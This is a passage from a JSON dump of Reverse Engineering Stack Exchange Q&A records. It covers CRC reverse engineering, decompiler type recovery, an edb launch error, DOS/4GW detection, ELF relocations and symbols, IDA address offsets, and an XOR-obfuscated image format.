        "Answer": "<p><strong>SOLUTION</strong></p>\n\n<p>I got help from a guy named Peter. He gave me a piece of test code in C. The CRC algorithm looked pretty similar to the ones I already tried. But what was important was that he pointed out that the first sample message most likely had a bit error.</p>\n\n\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint crc16(unsigned char *ptr, int count)\n{\n    unsigned int crc;\n    char i;\n\n    crc = 0x0000;\n    while (--count &gt;= 0)\n    {\n        crc = crc ^ (unsigned int) *ptr++;\n        i = 8;\n        do\n        {\n            if (crc &amp; 0x0001)\n                crc = (crc &gt;&gt; 1) ^ 0xA001;  /* 0x8005 bit reversed */\n            else\n                crc = (crc &gt;&gt; 1);\n        } while(--i);\n    }\n    return (crc);\n}\n\nvoid main()\n{                   \n                     /* 32  01  6C  D9  02  40  40  40  70  03  26  88 */\n\n   unsigned char data1[] = {0x6c, 0xd9, 0x02, 0x40, 0x40, 0x40, 0x50, 0x03};\n\n                     /* 32  01  6C  D9  02  40  C8  40  50  03  0D  28 */\n\n   unsigned char data2[] = {0x6c, 0xd9, 0x02, 0x40, 0xc8, 0x40, 0x50, 0x03};\n\n   printf(\"crc sent: 8826 computed: %4.4x\\n\", crc16(data1, sizeof(data1)));\n\n   printf(\"crc sent: 280d computed: %4.4x\\n\", crc16(data2, sizeof(data2)));\n\n   return;\n}\n</code></pre>\n\n<p>And when testing the first corrected message and the second message using crc reveng it finds the algorithm</p>\n\n<pre><code>$ ./reveng -w 16  -s 6cd90240c84050030d28\n./reveng: warning: you have only given 1 sample\n./reveng: warning: to reduce false positives, give 4 or more samples\nwidth=16  poly=0x8005  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0xbb3d  residue=0x0000  name=\"CRC-16/ARC\"\nMattisMacBook:reveng-2.1.0 mattis$ ./reveng -w 16  -s 6CD90240404070032688\n./reveng: warning: you have only given 1 sample\n./reveng: warning: to reduce false positives, give 4 or more samples\n./reveng: no models found\n$ ./reveng -w 16  -s 6CD90240404050032688\n./reveng: warning: you have only given 1 sample\n./reveng: warning: to reduce false positives, give 4 or more samples\nwidth=16  poly=0x8005  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0xbb3d  residue=0x0000  name=\"CRC-16/ARC\"\n</code></pre>\n\n<p>Then I tried getting crc reveng to do the same calculation as the code Peter provided above. It took a while to get the options right.\nFor some reason I had to specify the polynom in the reverse bit order to make it work.</p>\n\n<pre><code>$ ./reveng -w 16 -P a001 -i 0000  -x 0000  -l  -d \nwidth=16  poly=0x8005  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0xbb3d  residue=0x0000  name=(none)\n$ ./reveng -w 16 -P a001 -i 0000  -x 0000  -l  -c 6CD9024040405003\n2688\n</code></pre>\n\n<p><strong>Conclusion and lessons learnt</strong></p>\n\n<p>I never thought there could be errors in received data. That was stupid. It is not maybe likely on 9600 bps connection but can happen. Then I was too focused on testing both messages at the same time and never saw that the second message actually returned OK CRC, although it had the bytes swapped.</p>\n\n<p>So lessons for myself is: </p>\n\n<ol>\n<li>Have more samples so that transmission errors can be spotted more easily </li>\n<li>Don't assume that all messages are correct.</li>\n<li>crc reveng has many options that at first sight can be hard to get right - keep trying!</li>\n</ol>\n\n<p>Thanks to everyone that has helped!</p>\n"
    },
    {
        "Id": "23127",
        "CreationDate": "2020-01-27T22:53:30.530",
        "Body": "<p>In <em><a href=\"https://pdfs.semanticscholar.org/4815/f4122fa6c83b1691fde8b4ce21775d400c59.pdf\" rel=\"nofollow noreferrer\">TIE: Principled Reverse Engineering of Types in Binary Programs</a></em>, Lee J. et al claim to solve most of the challenges in the process of C code decompilation that come with type reconstruction.</p>\n\n<p>While producing a complex type where maybe a <code>void *</code> could fit is definitely non-trivial, I was just thinking about a possible type recovery ambiguity for what merely concerns a variable of type <code>int</code> or <code>int *</code>.</p>\n\n\n\n<pre><code>int foo(int *a, int sz) {\n    int res = 0;\n    for (int *q = a; q &lt; &amp;a[sz]; q++)\n        res += *q;\n    return res;\n}\n</code></pre>\n\n<p>In 32-bit architectures, the above code shows an example of such ambiguity for variable <code>res</code>, as both <code>int</code> and <code>int *</code> are compatible with a 32-bit register, and the disassembled code is the same. If <code>res</code> was a pointer though, it would be improperly used since we would be returning the address of an automatic variable (and would lead to undefined behaviour). </p>\n\n<p>So can this example really be taken into account (is a valid instance)? Can you come up with an example where these two types generate ambiguity but are correctly used? Can we conclude that a variable can be inferred to be a pointer or not if it just gets dereferenced?</p>\n",
        "Title": "Type reconstruction ambiguity",
        "Tags": "|ida|decompilation|type-reconstruction|",
        "Answer": "<p>One common issue I\u2019ve seen in real programs is the NULL pointer which has the same value as the integer 0. For example, currently (2020) the Hex-Rays decompiler does not support one variable holding different types so for example when a register initialized with zero is used as integer in one branch and as pointer in another, you might see \u201cfunny\u201d output. Alas I don\u2019t have an example at hand but if I see it again I\u2019ll add it here. </p>\n\n<p>Another thing that comes to mind is the \u201cclever\u201d implementation of double linked list using one field to store both next and previous pointers, known as <a href=\"https://en.wikipedia.org/wiki/XOR_linked_list\" rel=\"nofollow noreferrer\">XOR Linked List</a>. This pattern is probably about impossible to recover automatically but luckily it seems to be more of a theoretical curiosity than  practical construct. </p>\n"
    },
    {
        "Id": "23132",
        "CreationDate": "2020-01-28T12:27:07.603",
        "Body": "<h2>Problem:</h2>\n\n<p>When I try to open an executable (in this case exploit exercises protostar stack0), then the following message appears in a pop-up box:</p>\n\n<p><code>Failed to open and attach to process: execv() failed: No such file or directory.</code></p>\n\n<p>and I am unable to open any files because of this.</p>\n\n<p>Terminal output:</p>\n\n<pre><code>osboxes@osboxes:~/tools/edb-debugger/build$ ./edb --run ~/proto/bin/stack0 \nIcon theme \"elementary\" not found.\nStarting edb version: 1.1.0\nPlease Report Bugs &amp; Requests At: https://github.com/eteran/edb-debugger/issues\nRunning Terminal:  \"/usr/bin/xterm\"\nTerminal Args:  (\"-title\", \"edb output\", \"-hold\", \"-e\", \"sh\", \"-c\", \"tty &gt; /tmp/edb_temp_file_787768528_7578;trap \\\"\\\" INT QUIT TSTP;exec&lt;&amp;-; exec&gt;&amp;-;while :; do sleep 3600; done\")\nTerminal process has TTY:  \"/dev/pts/5\"\ncomparing versions: [4352] [4352]\n</code></pre>\n\n<p>At first I installed edb using apt-get. This problem occurred. Then I uninstalled and installed it manually from the source code (and fixed the segmentation fault issue by changing the plugins directory). The problem remains. It doesn't matter if I use --run or try to open it from the GUI.</p>\n\n<h2>Version info</h2>\n\n<p>I'm using Lubuntu. Linux 5.3.0-18. It's a VM downloaded from OSBoxes. </p>\n",
        "Title": "Evan's debugger (edb) - Failed to open and attach to process: execv() failed: No such file or directory",
        "Tags": "|debuggers|",
        "Answer": "<pre><code>osboxes@osboxes:~/proto/bin$ ll | grep stack0\n-rwsr-xr-x 1 root    root    22412 Jan 22 07:16 stack0*\nosboxes@osboxes:~/proto/bin$ ./stack0\nbash: ./stack0: No such file or directory\n</code></pre>\n\n<p>The program is marked as executable, but trying to execute it says there is no such file or directory. I didn't even notice it, because radare2 and gdb were able to execute it.</p>\n\n<p>After reading <a href=\"https://askubuntu.com/questions/133389/no-such-file-or-directory-but-the-file-exists\">stackoverflow 1</a> and <a href=\"https://stackoverflow.com/questions/2716702/no-such-file-or-directory-error-when-executing-a-binary\">stackoverflow 2</a>, it seems that the problem is that my 64 bit system can't handle the 32 bit executable.</p>\n\n<p>After running the following command, I got the executable to work.\n<code>sudo apt-get install lib32z1</code></p>\n\n<p>And also edb started working.</p>\n\n<hr>\n\n<p>Edit: Another reason why it might not work for you is that you have not marked it as executable. In that case:</p>\n\n<p><code>chmod +x filename</code></p>\n"
    },
    {
        "Id": "23142",
        "CreationDate": "2020-01-29T05:59:06.437",
        "Body": "<p>So far I batch disassembled all files using following PowerShell and IDA:</p>\n\n<pre><code>$files = Get-Content S:\\files.txt\nForEach ($file in $files)\n{\n    Write-Host \"Processing $file\"\n    &amp;\"C:\\Program Files\\IDA Pro 7.4\\ida.exe\" -B $file \n}\n</code></pre>\n\n<p>I then did a simple processing to try and identify DOS APIs used:</p>\n\n<pre><code>$files = Get-ChildItem -Path S:\\ -Filter *.asm -Recurse\n\n$ApiNames = @()\n\nForEach ($file in $files)\n{\n    Write-Host \"Processing $file\"\n    $content = Get-Content $file.Fullname \n    $APIs = $content | Where-Object { $_.Contains(\"                int     \") }\n    ForEach($API in $APIs)\n    {\n        if ($API.Contains(\";\"))\n        {\n            $split = $API.Split(\";\").Trim().Replace(\"     \", \" \")\n            $ApiName = \"$($split[0]) - $($split[1])\"\n            $ApiName = $ApiName.Replace(\"- -\",\"-\").Trim()\n            if ($apiName -eq \"int 3 - software interrupt to invoke the debugger\") { $apiName = \"int 3 - Trap to Debugger\" }\n            if (!$ApiName.EndsWith(\" -\"))\n            {\n                if (!$ApiNames.Contains($ApiName))\n                {\n                    $ApiNames += $ApiName\n                }\n            }\n        }\n    }\n\n}\n\n$SortedApiNames = $ApiNames | Sort-Object\n\n$table = New-Object System.Data.DataTable\n\n$table.Columns.Add(\"Process\")\nForEach ($ApiName in $SortedApiNames)\n{\n    $table.Columns.Add($ApiName)\n}\n\nForEach ($file in $files)\n{\n    Write-Host \"Processing $file\"\n    $content = Get-Content $file.Fullname \n    $APIs = $content | Where-Object { $_.Contains(\"                int     \") }\n    $row = @()\n    $row+= $file.FullName\n    $ApiList = @()\n    ForEach($API in $APIs)\n    {\n        if ($API.Contains(\";\"))\n        {\n            $split = $API.Split(\";\").Trim().Replace(\"     \", \" \")\n            $ApiName = \"$($split[0]) - $($split[1])\"\n            $ApiName = $ApiName.Replace(\"- -\",\"-\").Trim()\n            if ($apiName -eq \"int 3 - software interrupt to invoke the debugger\") { $apiName = \"int 3 - Trap to Debugger\" }\n            $ApiList+=$ApiName\n        }\n    }\n\n    For($i=1;$i -lt $table.Columns.Count;$i++)\n    {\n        if ($ApiList.Contains($table.Columns[$i].ColumnName))\n        {\n            $row+= \"Yes\"\n        }\n        else\n        {\n            $row+=\"No\"\n        }\n    }\n\n    $table.Rows.Add($row)\n\n}\n\n$table | Export-Csv -NoTypeInformation APIUse.csv\n</code></pre>\n\n<p>This identified the following interrupt calls used:</p>\n\n<pre><code>int 0C7h - used by BASIC while in interpreter\nint 0Dh - IRQ5 - FIXED DISK (PC), LPT2 (AT/PS)\nint 0E4h - used by BASIC while in interpreter\nint 0Fh - IRQ7 - PRINTER INTERRUPT\nint 10h - VIDEO - ALTERNATE FUNCTION SELECT (PS, EGA, VGA, MCGA) - GET EGA INFO\nint 10h - VIDEO - DISPLAY COMBINATION (PS,VGA/MCGA): read display combination code\nint 10h - VIDEO - GET CURRENT VIDEO MODE\nint 10h - VIDEO - GET INDIVIDUAL PALETTE REGISTER (VGA)\nint 10h - VIDEO - INSTALLATION CHECK (Video7 VGA,VEGA VGA)\nint 10h - VIDEO - Microsoft Mouse driver EGA support - WRITE ONE REGISTER\nint 10h - VIDEO - READ ATTRIBUTES/CHARACTER AT CURSOR POSITION\nint 10h - VIDEO - READ CURSOR POSITION\nint 10h - VIDEO - READ INDIVIDUAL DAC REGISTER (EGA, VGA/MCGA)\nint 10h - VIDEO - SCROLL PAGE UP\nint 10h - VIDEO - SELECT DISPLAY PAGE\nint 10h - VIDEO - SET CURSOR CHARACTERISTICS\nint 10h - VIDEO - SET CURSOR POSITION\nint 10h - VIDEO - SET INDIVIDUAL DAC REGISTER (EGA, VGA/MCGA)\nint 10h - VIDEO - SET VIDEO MODE\nint 10h - VIDEO - WRITE ATTRIBUTES/CHARACTERS AT CURSOR POSITION\nint 10h - VIDEO - WRITE CHARACTERS ONLY AT CURSOR POSITION\nint 11h - EQUIPMENT DETERMINATION\nint 15h - Get Extended Memory Size\nint 15h - SYSTEM - GET CONFIGURATION (XT after 1/10/86,AT mdl 3x9,CONV,XT286,PS)\nint 16h - KEYBOARD - CHECK BUFFER, DO NOT CLEAR\nint 16h - KEYBOARD - GET SHIFT STATUS\nint 16h - KEYBOARD - READ CHAR FROM BUFFER, WAIT IF EMPTY\nint 1Ah - CLOCK - GET TIME OF DAY\nint 20h - DOS - PROGRAM TERMINATION\nint 21h - DOS - 2+ - ADJUST MEMORY BLOCK SIZE (SETBLOCK)\nint 21h - DOS - 2+ - ALLOCATE MEMORY\nint 21h - DOS - 2+ - CHANGE THE CURRENT DIRECTORY (CHDIR)\nint 21h - DOS - 2+ - CLOSE A FILE WITH HANDLE\nint 21h - DOS - 2+ - CREATE A FILE WITH HANDLE (CREAT)\nint 21h - DOS - 2+ - CREATE A SUBDIRECTORY (MKDIR)\nint 21h - DOS - 2+ - CREATE DUPLICATE HANDLE (DUP)\nint 21h - DOS - 2+ - DELETE A FILE (UNLINK)\nint 21h - DOS - 2+ - FIND FIRST ASCIZ (FINDFIRST)\nint 21h - DOS - 2+ - FIND NEXT ASCIZ (FINDNEXT)\nint 21h - DOS - 2+ - FORCE DUPLICATE HANDLE (FORCDUP,DUP2)\nint 21h - DOS - 2+ - FREE MEMORY\nint 21h - DOS - 2+ - GET COUNTRY-DEPENDENT INFORMATION\nint 21h - DOS - 2+ - GET CURRENT DIRECTORY\nint 21h - DOS - 2+ - GET DISK SPACE\nint 21h - DOS - 2+ - GET EXIT CODE OF SUBPROGRAM (WAIT)\nint 21h - DOS - 2+ - GET FILE ATTRIBUTES\nint 21h - DOS - 2+ - GET FILE'S DATE/TIME\nint 21h - DOS - 2+ - GET INTERRUPT VECTOR\nint 21h - DOS - 2+ - GET VERIFY FLAG\nint 21h - DOS - 2+ - IOCTL - GET DEVICE INFORMATION\nint 21h - DOS - 2+ - IOCTL - READ CHARACTER DEVICE CONTROL STRING\nint 21h - DOS - 2+ - IOCTL - SET DEVICE INFORMATION\nint 21h - DOS - 2+ - LOAD OR EXECUTE (EXEC)\nint 21h - DOS - 2+ - MOVE FILE READ/WRITE POINTER (LSEEK)\nint 21h - DOS - 2+ - OPEN DISK FILE WITH HANDLE\nint 21h - DOS - 2+ - QUIT WITH EXIT CODE (EXIT)\nint 21h - DOS - 2+ - READ FROM FILE WITH HANDLE\nint 21h - DOS - 2+ - REMOVE A DIRECTORY ENTRY (RMDIR)\nint 21h - DOS - 2+ - RENAME A FILE\nint 21h - DOS - 2+ - SET FILE ATTRIBUTES\nint 21h - DOS - 2+ - SET FILE'S DATE/TIME\nint 21h - DOS - 2+ - WRITE TO FILE WITH HANDLE\nint 21h - DOS - 2+ internal - GET LIST OF LISTS\nint 21h - DOS - 2+ internal - GET SWITCHAR/AVAILDEV\nint 21h - DOS - 2+ internal - RETURN CritSectFlag (InDOS) POINTER\nint 21h - DOS - 2+ internal - SET PSP SEGMENT\nint 21h - DOS - 3.1+ internal - GET ADDRESS OF DOS SWAPPABLE DATA AREA\nint 21h - DOS - 3+ - CREATE NEW FILE\nint 21h - DOS - 3+ - GET EXTENDED ERROR CODE\nint 21h - DOS - 3+ - GET PSP ADDRESS\nint 21h - DOS - 4.0 - EXTENDED OPEN/CREATE\nint 21h - DOS - BUFFERED KEYBOARD INPUT\nint 21h - DOS - CLEAR KEYBOARD BUFFER\nint 21h - DOS - DIRECT CONSOLE I/O CHARACTER OUTPUT\nint 21h - DOS - DIRECT STDIN INPUT, NO ECHO\nint 21h - DOS - DISK RESET\nint 21h - DOS - DISPLAY OUTPUT\nint 21h - DOS - DOS 2+ - TERMINATE BUT STAY RESIDENT\nint 21h - DOS - DOS v??? - OEM FUNCTION\nint 21h - DOS - EXTENDED CONTROL-BREAK CHECKING\nint 21h - DOS - GET ALLOCATION TABLE INFORMATION FOR SPECIFIC DRIVE\nint 21h - DOS - GET CURRENT DATE\nint 21h - DOS - GET CURRENT TIME\nint 21h - DOS - GET DEFAULT DISK NUMBER\nint 21h - DOS - GET DISK TRANSFER AREA ADDRESS\nint 21h - DOS - GET DOS VERSION\nint 21h - DOS - KEYBOARD INPUT\nint 21h - DOS - KEYBOARD INPUT, NO ECHO\nint 21h - DOS - Novell Advanced NetWare 2.0+ - FILE SERVER FILE COPY\nint 21h - DOS - PARSE FILENAME\nint 21h - DOS - PRINT STRING\nint 21h - DOS - SELECT DISK\nint 21h - DOS - SET CURRENT DATE\nint 21h - DOS - SET CURRENT TIME\nint 21h - DOS - SET DISK TRANSFER AREA ADDRESS\nint 21h - DOS - SET INTERRUPT VECTOR\nint 21h - DOS - SET VERIFY FLAG\nint 2Fh - Multiplex - MS WINDOWS -  3+ - BEGIN CRITICAL SECTION\nint 2Fh - Multiplex - MS WINDOWS - ENHANCED WINDOWS INSTALLATION CHECK\nint 2Fh - Multiplex - MS WINDOWS - Mode Interface - INSTALLATION CHECK\nint 2Fh - Multiplex - XMS - GET DRIVER ADDRESS\nint 2Fh - Multiplex - XMS - INSTALLATION CHECK\nint 3 - Trap to Debugger\nint 31h - DPMI Services   ax=func xxxxh\nint 33h - MS MOUSE - DEFINE DOUBLE-SPEED THRESHOLD\nint 33h - MS MOUSE - DEFINE INTERRUPT SUBROUTINE PARAMETERS\nint 33h - MS MOUSE - DEFINE SCREEN REGION FOR UPDATING\nint 33h - MS MOUSE - DEFINE TEXT CURSOR\nint 33h - MS MOUSE - HIDE MOUSE CURSOR\nint 33h - MS MOUSE - POSITION MOUSE CURSOR\nint 33h - MS MOUSE - READ MOTION COUNTERS\nint 33h - MS MOUSE - RESET DRIVER AND READ STATUS\nint 33h - MS MOUSE - RESTORE DRIVER STATE\nint 33h - MS MOUSE - RETURN DRIVER STORAGE REQUIREMENTS\nint 33h - MS MOUSE - RETURN POSITION AND BUTTON STATUS\nint 33h - MS MOUSE - SAVE DRIVER STATE\nint 33h - MS MOUSE - SHOW MOUSE CURSOR\nint 3Fh - Overlay manager interrupt\nint 48h - PCjr - Cordless Keyboard Translation\nint 67h - LIM EMS - GET HANDLE AND ALLOCATE MEMORY\nint 67h - LIM EMS - GET NUMBER OF PAGES\nint 67h - LIM EMS - GET PAGE FRAME SEGMENT\nint 67h - LIM EMS - MAP MEMORY\nint 67h - LIM EMS - RELEASE HANDLE AND MEMORY\nint 67h - LIM EMS 4.0 - REALLOCATE PAGES\nint 67h - LIM EMS Program Interface - FREE 4K PAGE\nint 67h - LIM EMS Program Interface - GET 8259 INTERRUPT VECTOR MAPPINGS\nint 67h - LIM EMS Program Interface - GET PROTECTED MODE INTERFACE\nint 67h - LIM EMS Program Interface - INSTALLATION CHECK\nint 67h - LIM EMS Program Interface - SWITCH TO PROTECTED MODE\nint 75h - IRQ13 - AT/XT286/PS50+ - 80287 ERROR\nint 7Ah - Novell NetWare to v2.0a - LOW-LEVEL API\nint 89h - used by BASIC while in interpreter\nint 8Ch - used by BASIC while in interpreter\nint 91h - used by BASIC while in interpreter\nint 98h - used by BASIC while in interpreter\n</code></pre>\n\n<p>What can I look for to confirm if an app uses DOS/4GW?</p>\n",
        "Title": "Within A Folder of 100s of 16-bit MS-DOS Disassembled EXEs Identify Ones That Need/Use DOS/4GW",
        "Tags": "|disassembly|dos|dos-exe|",
        "Answer": "<p>DOS/4GW executables normally use LE (linear executable) format for the actual main program (the DOS stub is just a launcher for the DOS4GW.EXE extender) and should be detected as such by IDA so you can probably just check the loaded file format. </p>\n"
    },
    {
        "Id": "23154",
        "CreationDate": "2020-01-30T06:53:20.290",
        "Body": "<p>My question is: Why does <code>readelf -x .data bin.so</code> give me empty data when ghidra does not? (0x00 repeated for section length until last element 0xFFFFFFFF). </p>\n\n<p>ghidra/JEB contradict me by showing that it has populated data (only first 8 bytes are null). I have tried python tools lief, elfcat, among others. </p>\n\n<p>Obtaining repro file:</p>\n\n<ol>\n<li>wget <a href=\"https://repo1.maven.org/maven2/com/facebook/fresco/imagepipeline/2.0.0/imagepipeline-2.0.0.aar\" rel=\"nofollow noreferrer\">https://repo1.maven.org/maven2/com/facebook/fresco/imagepipeline/2.0.0/imagepipeline-2.0.0.aar</a></li>\n<li>unzip imagepipeline-2.0.0.aar \"jni/arm64-v8a/libimagepipeline.so</li>\n<li>readelf -x .data jni/arm64-v8a/libimagepipeline.so</li>\n<li>Load the elf into ghidra and confirm that the .data section (can be found by double clicking on .data in \"Program Tree\" on left(default) hand side) is populated with excellent data.</li>\n</ol>\n",
        "Title": "empty .data section in AARCH64 elf binaries",
        "Tags": "|binary-analysis|binary|ghidra|arm64|",
        "Answer": "<p>The <code>.data</code> is filled with relocation information at load time. </p>\n\n<p>from <code>IDA</code>:</p>\n\n<pre><code>LOAD:0000000000000598 08 20 01 00+                Elf64_Rela &lt;0x12008, 0x403, 0x11EF&gt; ; R_AARCH64_RELATIVE\nLOAD:00000000000005B0 10 20 01 00+                Elf64_Rela &lt;0x12010, 0x403, 0x1200&gt; ; R_AARCH64_RELATIVE\nLOAD:00000000000005C8 18 20 01 00+                Elf64_Rela &lt;0x12018, 0x403, 0xC48&gt; ; R_AARCH64_RELATIVE\nLOAD:00000000000005E0 20 20 01 00+                Elf64_Rela &lt;0x12020, 0x403, 0x127B&gt; ; R_AARCH64_RELATIVE\nLOAD:00000000000005F8 28 20 01 00+                Elf64_Rela &lt;0x12028, 0x403, 0x128B&gt; ; R_AARCH64_RELATIVE\nLOAD:0000000000000610 30 20 01 00+                Elf64_Rela &lt;0x12030, 0x403, 0xEE8&gt; ; R_AARCH64_RELATIVE\nLOAD:0000000000000628 38 20 01 00+                Elf64_Rela &lt;0x12038, 0x403, 0x12F1&gt; ; R_AARCH64_RELATIVE\nLOAD:0000000000000640 40 20 01 00+                Elf64_Rela &lt;0x12040, 0x403, 0x1300&gt; ; R_AARCH64_RELATIVE\nLOAD:0000000000000658 48 20 01 00+                Elf64_Rela &lt;0x12048, 0x403, 0x1000&gt; ; R_AARCH64_RELATIVE\nLOAD:0000000000000670 50 20 01 00+                Elf64_Rela &lt;0x12050, 0x403, 0x1305&gt; ; R_AARCH64_RELATIVE\nLOAD:0000000000000688 58 20 01 00+                Elf64_Rela &lt;0x12058, 0x403, 0x1310&gt; ; R_AARCH64_RELATIVE\nLOAD:00000000000006A0 60 20 01 00+                Elf64_Rela &lt;0x12060, 0x403, 0x104C&gt; ; R_AARCH64_RELATIVE\nLOAD:00000000000006B8 68 20 01 00+                Elf64_Rela &lt;0x12068, 0x403, 0x1315&gt; ; R_AARCH64_RELATIVE\nLOAD:00000000000006D0 70 20 01 00+                Elf64_Rela &lt;0x12070, 0x403, 0x132B&gt; ; R_AARCH64_RELATIVE\nLOAD:00000000000006E8 78 20 01 00+                Elf64_Rela &lt;0x12078, 0x403, 0x1054&gt; ; R_AARCH64_RELATIVE\nLOAD:0000000000000700 80 20 01 00+                Elf64_Rela &lt;0x12080, 0x403, 0x1334&gt; ; R_AARCH64_RELATIVE\nLOAD:0000000000000718 88 20 01 00+                Elf64_Rela &lt;0x12088, 0x403, 0x132B&gt; ; R_AARCH64_RELATIVE\nLOAD:0000000000000730 90 20 01 00+                Elf64_Rela &lt;0x12090, 0x403, 0x1074&gt; ; R_AARCH64_RELATIVE\nLOAD:0000000000000748 98 20 01 00+                Elf64_Rela &lt;0x12098, 0x403, 0x134C&gt; ; R_AARCH64_RELATIVE\nLOAD:0000000000000760 A0 20 01 00+                Elf64_Rela &lt;0x120A0, 0x403, 0x1359&gt; ; R_AARCH64_RELATIVE\nLOAD:0000000000000778 A8 20 01 00+                Elf64_Rela &lt;0x120A8, 0x403, 0x1094&gt; ; R_AARCH64_RELATIVE\nLOAD:0000000000000790 B0 20 01 00+                Elf64_Rela &lt;0x120B0, 0x403, 0x1360&gt; ; R_AARCH64_RELATIVE\nLOAD:00000000000007A8 B8 20 01 00+                Elf64_Rela &lt;0x120B8, 0x403, 0x136F&gt; ; R_AARCH64_RELATIVE\nLOAD:00000000000007C0 C0 20 01 00+                Elf64_Rela &lt;0x120C0, 0x403, 0x10A8&gt; ; R_AARCH64_RELATIVE\n</code></pre>\n\n<p>You can see that every entry is corresponding to the data you see in the <code>.data</code> section.</p>\n"
    },
    {
        "Id": "23166",
        "CreationDate": "2020-02-01T10:03:14.903",
        "Body": "<p>How does one extract the static API sequences of a PE file? I don't mean the imports listed in the imports segment. </p>\n\n<p>I am currently using different RE tools like Ghidra, IDA Pro, and Binary Ninja. None of which I know has a built-in feature which allows me to extract the static API sequences. </p>\n\n<p>[EDIT] I am looking for API call sequences without executing the binary. For example, maybe if the binary code contains file operations like fopen() \u2192 fwrite() \u2192 fclose() \u2192 fopen() \u2192 fwrite() \u2192 fclose(). I want to be able to extract this sequence of APIs.</p>\n",
        "Title": "How to extract static API sequences of a PE file?",
        "Tags": "|ida|static-analysis|functions|api|",
        "Answer": "<p>That should be rather easy to solve in IDA with IDAPython or IDC.</p>\n\n<p>I remember plugins that name functions based on API calls happening inside for a quick overview, one example here:</p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/9352/finding-all-api-calls-in-a-function\">Finding all API calls in a function</a></p>\n\n<p>Essentially it does what you need but note there is no semantic check whatsoever. It just means these API calls appeared in the same function and could be entirely unrelated, but it gives a rough overview of API call chains happening together (by logic of being in the same function).</p>\n\n<p>If relation is important, it's a way harder problem as you'd need to track input/output from API calls (and for that know what the input/output for each API call is) and thus turning into a data flow analysis problem.</p>\n"
    },
    {
        "Id": "23177",
        "CreationDate": "2020-02-03T00:27:55.530",
        "Body": "<p>I noticed that if I found an instruction in IDA, the address shown to its left would be wildly different from where it appears in the actual file. I wanted to know why this was the case and how I can find the offset in the file that each instruction corresponds to. Thanks!</p>\n",
        "Title": "In IDA, why are the addresses of instructions different from the corresponding locations in the original file? How do I find the file locations?",
        "Tags": "|ida|pe|address|",
        "Answer": "<p>Igor gave the answer for Ida. A more general possibility, very simple and working everywhere, would be just to write down a sequence of immutable bytes from the disassembler (i.e. avoiding changing addresses), then load the file into a Hex Editor and let it search for that sequence. If it is long enough there will mostly be only a single hit within the file.</p>\n"
    },
    {
        "Id": "23194",
        "CreationDate": "2020-02-05T12:54:10.583",
        "Body": "<p>From what I understand, the <code>ELF</code> format doesn't specify which symbols come from which file - Every <code>ELF</code> that uses import has a list of symbols to import and list of file names, and the loader is trying to locate those symbols in the file names. </p>\n\n<p>But what happens if there is a collision - the same symbol appears twice, in different files? Is it possible to somehow force by the <code>ELF</code> format the destination file to look for a specific symbol? </p>\n",
        "Title": "ELF imported symbols colision",
        "Tags": "|elf|",
        "Answer": "<p>This should be the problem of the linker at compile time. These things are not solved dynamically but statically. It should produce an error of the kind <code>multiple definition</code> as illustrated on the following example (taken from <a href=\"https://stackoverflow.com/questions/36209788/gcc-multiple-definition-of-error\">here</a>): </p>\n\n<pre><code>/tmp/ccscmcbS.o:(.bss+0x0): multiple definition of `global_base'\n/tmp/ccyjhjQC.o:(.bss+0x0): first defined here\n/tmp/ccscmcbS.o: In function `find_free_block':\nsupport.c:(.text+0x0): multiple definition of `find_free_block'\n/tmp/ccyjhjQC.o:main.c:(.text+0x0): first defined here\n/tmp/ccscmcbS.o: In function `request_space':\nsupport.c:(.text+0x55): multiple definition of `request_space'\n/tmp/ccyjhjQC.o:main.c:(.text+0x55): first defined here\n/tmp/ccscmcbS.o: In function `get_block_ptr':\nsupport.c:(.text+0xfe): multiple definition of `get_block_ptr'\n/tmp/ccyjhjQC.o:main.c:(.text+0xfe): first defined here\ncollect2: error: ld returned 1 exit status\n</code></pre>\n"
    },
    {
        "Id": "23199",
        "CreationDate": "2020-02-06T15:33:23.730",
        "Body": "<p>So let's say we want to use some instructions as signature for a malware, and it includes some call instructions or jmp instructions. Now, as far as I have seen, they always contain relative offsets as address and don't contain absolute addresses of the destination.</p>\n<p>Now, can the relative offset between functions or instructions change if the binary is compiled again with the same compiler? How about with another compiler?</p>\n<p>Do you guys think using a call instruction as part of a signature is good?</p>\n",
        "Title": "Can relative offsets in instructions like call and jmp change after recompiling the same code, or running it in another computer?",
        "Tags": "|assembly|decompilation|malware|static-analysis|operating-systems|",
        "Answer": "<p>If there are code changes, it will most likely change between versions. </p>\n\n<p>I would suggest you look at the implementation of FLIRT, in particular <a href=\"https://www.hex-rays.com/products/ida/tech/flirt/in_depth/\" rel=\"nofollow noreferrer\">here</a>, where they explain how they face this issue. </p>\n"
    },
    {
        "Id": "23203",
        "CreationDate": "2020-02-06T21:11:13.017",
        "Body": "<p>I am trying to reverse a simple image format for bitmap data with an indexed colour palette. The structure of the file is generally clear and I am able to extract the size of the picture and the palette. The place of where the run-length encoded data is stored is also pretty clear. However, the software for editing these images encrypts the run-length encoded data in a simple way by XORing it.</p>\n\n<p>Through manipulation of the data and viewing it in the software, I am able to extract the pixel dependent key for the XOR function, i.e. if there are 9 pixels totally, there are 9 keys. The problem is, however, that everytime the file is saved in the software, the keys change. I have identified two bytes in the file that change together with the encrypted data everytime it is saved and I therefore expect that it must be some sort of seed for generating the keys.</p>\n\n<p>Nevertheless, after saving the same file many times, examining the seed and the xor keys, no clear pattern emerges. It is only obvious that the first pixel has always the same key, the second key can only change by 1 and the rest looks currently random to me. Shifting the seed and combining it with the first key or using modulo operations don't work.</p>\n\n<p>The software itself is packed/encrypted and I am unable to unpack it, i.e. I think I have to deduce the encryption solely based on the files I can generate. Is there some general advice on how to proceed in such a situation?</p>\n",
        "Title": "Encrypted image format",
        "Tags": "|file-format|encryption|binary|",
